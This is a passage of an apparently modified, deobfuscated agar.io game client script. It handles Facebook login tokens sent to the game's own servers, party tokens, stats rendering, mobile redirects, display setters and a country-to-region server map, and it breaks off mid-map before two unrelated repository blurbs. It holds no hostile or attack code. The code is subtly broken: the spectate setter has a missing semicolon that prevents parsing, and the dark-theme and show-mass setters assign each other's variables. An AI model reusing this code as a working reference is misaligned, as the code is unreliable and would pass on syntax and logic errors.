+data[6] }); } function UpdateScale(__unmatched_280) { if ('connected' == __unmatched_280.status) { var x = __unmatched_280.authResponse.accessToken; window.FB.api('/me/picture?width=180&height=180', function(__unmatched_282) { window.localStorage.fbPictureCache = __unmatched_282.data.url; $('.agario-profile-picture').attr('src', __unmatched_282.data.url); }); $('#helloContainer').attr('data-logged-in', '1'); if (null != __unmatched_108) { $.ajax('https://m.agar.io/checkToken', { error: function() { __unmatched_108 = null; UpdateScale(__unmatched_280); }, success: function(__unmatched_283) { __unmatched_283 = __unmatched_283.split('\n'); __unmatched_43({ e: +__unmatched_283[0], f: +__unmatched_283[1], d: +__unmatched_283[2] }); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: __unmatched_108 }); } else { $.ajax('https://m.agar.io/facebookLogin', { error: function() { __unmatched_108 = null; $('#helloContainer').attr('data-logged-in', '0'); }, success: __unmatched_45, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: x }); } } } function RenderLoop(x) { Render(':party'); $('#helloContainer').attr('data-party-state', '4'); x = decodeURIComponent(x).replace(/.*#/gim, ''); __unmatched_48('#' + window.encodeURIComponent(x)); $.ajax('https://m.agar.io/getToken', { error: function() { $('#helloContainer').attr('data-party-state', '6'); }, success: function(quick) { quick = quick.split('\n'); $('.partyToken').val('agar.io/#' + window.encodeURIComponent(x)); $('#helloContainer').attr('data-party-state', '5'); Render(':party'); Connect('ws://' + quick[0], x); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: x }); } function __unmatched_48(__unmatched_286) { if (window.history && window.history.replaceState) { window.history.replaceState({}, window.document.title, __unmatched_286); } } function __unmatched_49(__unmatched_287, __unmatched_288) { var playerOwned = -1 != g_playerCellIds.indexOf(__unmatched_287.id); var __unmatched_290 = -1 != g_playerCellIds.indexOf(__unmatched_288.id); var __unmatched_291 = 30 > __unmatched_288.size; if (playerOwned && __unmatched_291) { ++__unmatched_139; } if (!(__unmatched_291 || !playerOwned || __unmatched_290)) { ++__unmatched_146; } } function __unmatched_50(__unmatched_292) { __unmatched_292 = ~~__unmatched_292; var color = (__unmatched_292 % 60).toString(); __unmatched_292 = (~~(__unmatched_292 / 60)).toString(); if (2 > color.length) { color = '0' + color; } return __unmatched_292 + ':' + color; } function __unmatched_51() { if (null == g_scoreEntries) { return 0; } for (var i = 0; i < g_scoreEntries.length; ++i) { if (-1 != g_playerCellIds.indexOf(g_scoreEntries[i].id)) { return i + 1; } } return 0; } function ShowOverlay() { $('.stats-food-eaten').text(__unmatched_139); $('.stats-time-alive').text(__unmatched_50((__unmatched_144 - __unmatched_143) / 1000)); $('.stats-leaderboard-time').text(__unmatched_50(__unmatched_145)); $('.stats-highest-mass').text(~~(g_maxScore / 100)); $('.stats-cells-eaten').text(__unmatched_146); $('.stats-top-position').text(0 == g_mode ? ':(' : g_mode); var g_height = document.getElementById('statsGraph'); if (g_height) { var pointsAcc = g_height.getContext('2d'); var scale = g_height.width; var g_height = g_height.height; pointsAcc.clearRect(0, 0, scale, g_height); if (2 < cached.length) { for (var __unmatched_298 = 200, i = 0; i < cached.length; i++) { __unmatched_298 = Math.max(cached[i], __unmatched_298); } pointsAcc.lineWidth = 3; pointsAcc.lineCap = 'round'; pointsAcc.lineJoin = 'round'; pointsAcc.strokeStyle = __unmatched_140; pointsAcc.fillStyle = __unmatched_140; pointsAcc.beginPath(); pointsAcc.moveTo(0, g_height - cached[0] / __unmatched_298 * (g_height - 10) + 10); for (i = 1; i < cached.length; i += Math.max(~~(cached.length / scale), 1)) { for (var __unmatched_300 = i / (cached.length - 1) * scale, __unmatched_301 = [], __unmatched_302 = -20; 20 >= __unmatched_302; ++__unmatched_302) { if (!(0 > i + __unmatched_302 || i + __unmatched_302 >= cached.length)) { __unmatched_301.push(cached[i + __unmatched_302]); } } __unmatched_301 = __unmatched_301.reduce(function(__unmatched_303, __unmatched_304) { return __unmatched_303 + __unmatched_304; }) / __unmatched_301.length / __unmatched_298; pointsAcc.lineTo(__unmatched_300, g_height - __unmatched_301 * (g_height - 10) + 10); } pointsAcc.stroke(); pointsAcc.globalAlpha = 0.5; pointsAcc.lineTo(scale, g_height); pointsAcc.lineTo(0, g_height); pointsAcc.fill(); pointsAcc.globalAlpha = 1; } } } if (!window.agarioNoInit) { var __unmatched_53 = window.location.protocol; var g_secure = 'https:' == __unmatched_53; if (g_secure && -1 == window.location.search.indexOf('fb')) { window.location.href = 'http://agar.io/'; } else { var items = window.navigator.userAgent; if (-1 != items.indexOf('Android')) { if (window.ga) { window.ga('send', 'event', 'MobileRedirect', 'PlayStore'); } setTimeout(function() { window.location.href = 'https://play.google.com/store/apps/details?id=com.miniclip.agar.io'; }, 1000); } else if (-1 != items.indexOf('iPhone') || -1 != items.indexOf('iPad') || -1 != items.indexOf('iPod')) { if (window.ga) { window.ga('send', 'event', 'MobileRedirect', 'AppStore'); } setTimeout(function() { window.location.href = 'https://itunes.apple.com/app/agar.io/id995999703?mt=8&at=1l3vajp'; }, 1000); } else { var g_canvas_; var g_context; var g_canvas; var g_protocol; var __unmatched_60; var g_pointTree = null; var points = null; var g_viewX = 0; var g_viewY = 0; var g_playerCellIds = []; var g_playerCells = []; var g_cellsById = {}; var g_cells = []; var g_destroyedCells = []; var g_scoreEntries = []; var g_mouseX = 0; var g_mouseY = 0; var g_moveX = -1; var g_moveY = -1; var __unmatched_75 = 0; var g_time = 0; var __unmatched_77 = 0; var g_nick = null; var g_minX = 0; var g_minY = 0; var g_maxX = 10000; var g_maxY = 10000; var g_scale = 1; var g_region = null; var g_showSkins = true; var g_showNames = true; var g_noColors = false; var __unmatched_88 = false; var g_maxScore = 0; var g_showMass = false; var g_darkTheme = true; var g_viewX_ = g_viewX = ~~((g_minX + g_maxX) / 2); var g_viewY_ = g_viewY = ~~((g_minY + g_maxY) / 2); var g_scale_ = 1; var __unmatched_95 = ''; var g_scorePartitions = null; var g_drawLines = false; var g_ready = false; var g_linesY_ = 0; var g_linesX_ = 0; var g_linesX = 0; var g_linesY = 0; var g_ABGroup = 0; var g_teamColors = [ '#333333', '#FF3333', '#33FF33', '#3333FF' ]; var g_showTrails = false; var g_connectSuccessful = false; var __unmatched_107 = 0; var __unmatched_108 = null; var g_zoom = 1; var qkeyDown = 1; var g_playerCellDestroyed = false; var __unmatched_112 = 0; var __unmatched_113 = {}; (function() { var point = window.location.search; if ('?' == point.charAt(0)) { point = point.slice(1); } for (var point = point.split('&'), __unmatched_306 = 0; __unmatched_306 < point.length; __unmatched_306++) { var parts = point[__unmatched_306].split('='); __unmatched_113[parts[0]] = parts[1]; } }()); var g_touchCapable = 'ontouchstart' in window && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(window.navigator.userAgent); var g_splitImage = new Image(); g_splitImage.src = 'img/split.png'; var canvasTest = document.createElement('canvas'); if ('undefined' == typeof console || 'undefined' == typeof DataView || 'undefined' == typeof WebSocket || null == canvasTest || null == canvasTest.getContext || null == window.localStorage) { alert('You browser does not support this game, we recommend you to use Firefox to play this'); } else { var g_regionLabels = null; window.setNick = function(val) { HideOverlay(); g_nick = val; SendNick(); g_maxScore = 0; }; window.setRegion = SetRegion; window.setSkins = function(val) { g_showSkins = val; }; window.setUnlimitedZoom = function(val) { isUnlimitedZoom = val; }; window.setNames = function(val) { g_showNames = val; }; window.setDarkTheme = function(val) { g_showMass = val; }; window.setColors = function(val) { g_noColors = val; }; window.setShowMass = function(val) { g_darkTheme = val; }; window.spectate = function(val) { isSpectating = val g_nick = null; SendCmd(1); HideOverlay(); }; window.setLargeBlobBorders = function(val) { isLargeBlobBorders = val; } window.setLargeNames = function(val) { isLargeNames = val; } window.setVirusTransparent = function(val){ isVirusTransparent = val; } window.nicksChange = function() { var name = $("#nicks").children("option").filter(":selected").text(); $("#nick").val(name); if (-1 != g_skinNamesA.indexOf(name)) { $("#preview").attr("src", "skins/" + name + ".png"); } }; window.getMapStartX = function() { return g_minX; } window.getMapStartY = function() { return g_minY; } window.getMapEndX = function() { return g_maxX; } window.getMapEndY = function() { return g_maxY; } window.setGameMode = function(val) { if (val != __unmatched_95) { if (':party' == __unmatched_95) { $('#helloContainer').attr('data-party-state', '0'); } Render(val); if (':party' != val) { Start(); } } }; window.setAcid = function(val) { g_showTrails = val; }; if (null != window.localStorage) { if (null == window.localStorage.AB9) { window.localStorage.AB9 = 0 + ~~(100 * Math.random()); } g_ABGroup = +window.localStorage.AB9; window.ABGroup = g_ABGroup; } $.get(__unmatched_53 + '//gc.agar.io', function(code) { var __unmatched_317 = code.split(' '); code = __unmatched_317[0]; __unmatched_317 = __unmatched_317[1] || ''; if (-1 == ['UA'].indexOf(code)) { g_skinNamesA.push('ussr'); } if (g_regionsByCC.hasOwnProperty(code)) { if ('string' == typeof g_regionsByCC[code]) { if (!g_region) { SetRegion(g_regionsByCC[code]); } else if (g_regionsByCC[code].hasOwnProperty(__unmatched_317)) { if (!g_region) { SetRegion(g_regionsByCC[code][__unmatched_317]); } } } } }, 'text'); if (window.ga) { window.ga('send', 'event', 'User-Agent', window.navigator.userAgent, { nonInteraction: 1 }); } var g_canRefreshAds = true; var g_refreshAdsCooldown = 0; var g_regionsByCC = { AF: 'JP-Tokyo', AX: 'EU-London', AL: 'EU-London', DZ: 'EU-London', AS: 'SG-Singapore', AD: 'EU-London', AO: 'EU-London', AI: 'US-Atlanta', AG: 'US-Atlanta', AR: 'BR-Brazil', AM: 'JP-Tokyo', AW: 'US-Atlanta', AU: 'SG-Singapore', AT: 'EU-London', AZ: 'JP-Tokyo', BS: 'US-Atlanta', BH: 'JP-Tokyo', BD: 'JP-Tokyo', BB: 'US-Atlanta', BY: 'EU-London', BE: 'EU-London', BZ: 'US-Atlanta', BJ: 'EU-London', BM: 'US-Atlanta', BT: 'JP-Tokyo', BO: 'BR-Brazil', BQ: 'US-Atlanta', BA: 'EU-London', BW: 'EU-London', BR: 'BR-Brazil', IO: 'JP-Tokyo', VG: 'US-Atlanta', BN: 'JP-Tokyo', BG: 'EU-London', BF: 'EU-London', BI: 'EU-London', KH: 'JP-Tokyo', CM: 'EU-London', CA: 'US-Atlanta', CV: 'EU-London', KY: 'US-Atlanta', CF: 'EU-London', TD: 'EU-London', CL: 'BR-Brazil', CN: 'CN-China', CX: 'JP-Tokyo', CC: 'JP-Tokyo', CO: 'BR-Brazil', KM: 'EU-London', CD: 'EU-London', CG: 'EU-London', CK: 'SG-Singapore', CR: 'US-Atlanta', CI: 'EU-London', HR: 'EU-London', CU: 'US-Atlanta', CW: 'US-Atlanta', CY: 'JP-Tokyo', CZ: 'EU-London', DK: 'EU-London', DJ: 'EU-London', DM: 'US-Atlanta', DO: 'US-Atlanta', EC: 'BR-Brazil', EG: 'EU-London', SV: 'US-Atlanta', GQ: 'EU-London', ER: 'EU-London', EE: 'EU-London', ET: 'EU-London', FO: 'EU-London', FK: 'BR-Brazil', FJ: 'SG-Singapore', FI: 'EU-London', FR: 'EU-London', GF: 'BR-Brazil', PF: 'SG-Singapore', GA: 'EU-London', GM: 'EU-London', GE: 'JP-Tokyo', DE: 'EU-London', GH: 'EU-London', GI: 'EU-London', GR: 'EU-London', GL: 'US-Atlanta', GD: 'US-Atlanta', GP: 'US-Atlanta', GU: 'SG-Singapore', GT: 'US-Atlanta', GG: 'EU-London', GN: 'EU-London', GW: 'EU-London', GY: 'BR-Brazil', HT: 'US-Atlanta', VA: 'EU-London', HN: 'US-Atlanta', HK: 'JP-Tokyo', HU: 'EU-London', IS: 'EU-London', IN: 'JP-Tokyo', ID: 'JP-Tokyo', IR: 'JP-Tokyo', IQ: 'JP-Tokyo', IE: 'EU-London', IM: 'EU-London', IL: 'JP-Tokyo', IT: 'EU-London', JM: 'US-Atlanta', JP: 'JP-Tokyo', JE: 'EU-London', JO: 'JP-Tokyo', KZ: 'JP-Tokyo', KE: 'EU-London', KI: 'SG-Singapore', KP: 'JP-Tokyo', KR: 'JP-Tokyo', KW: 'JP-Tokyo', KG: 'JP-Tokyo', LA: 'JP-Tokyo', LV: 'EU-London', LB: 'JP-Tokyo', LS: 'EU-London', LR: 'EU-London', LY: 'EU-London', LI: 'EU-London', LT: 'EU-London', LU: 'EU-London', MO: 'JP-Tokyo', MK: 'EU-London', MG: 'EU-London', MW: 'EU-London', MY: 'JP-Tokyo', MV: 'JP-Tokyo', ML: 'EU-London', MT: 'EU-London', MH: 'SG-Singapore', MQ: 'US-Atlanta', MR: 'EU-London', MU: 'EU-London', YT: 'EU-London', MX: 'US-Atlanta', FM: 'SG-Singapore', MD: 'EU-London', MC: 'EU-London', MN: 'JP-Tokyo', ME: 'EU-London', MS: 'US-Atlanta', MA: 'EU-London', MZ: 'EU-London', MM: 'JP-Tokyo', NA: 'EU-London', NR: 'SG-Singapore', NP: 'JP-Tokyo', NL: 'EU-London', NC: 'SG-Singapore', NZ: 'SG-Singapore', NI: 'US-Atlanta', NE: 'EU-London', NG: 'EU-London', NU: 'SG-Singapore', NF: 'SG-Singapore', MP: 'SG-Singapore', NO: 'EU-London', OM: 'JP-Tokyo', PK: 'JP-Tokyo', PW: 'SG-Singapore', PS: 'JP-Tokyo', PA: 'US-Atlanta', PG: 'SG-Singapore', PY: 'BR-Brazil', PE: 'BR-Brazil', PH: 'JP-Tokyo', PN: 'SG-Singapore', PL: 'EU-London', PT: 'EU-London', PR: 'US-Atlanta', QA: 'JP-Tokyo', RE: 'EU-London', RO: 'EU-London', RU: 'RU-Russia', RW: 'EU-London', BL: 'US-Atlanta', SH:
status-im / AutobountyGithub bot that automatically funds https://openbounty.status.im bounties
blopa / Magento Order Status ImageA simple way to show to your customer it's order status.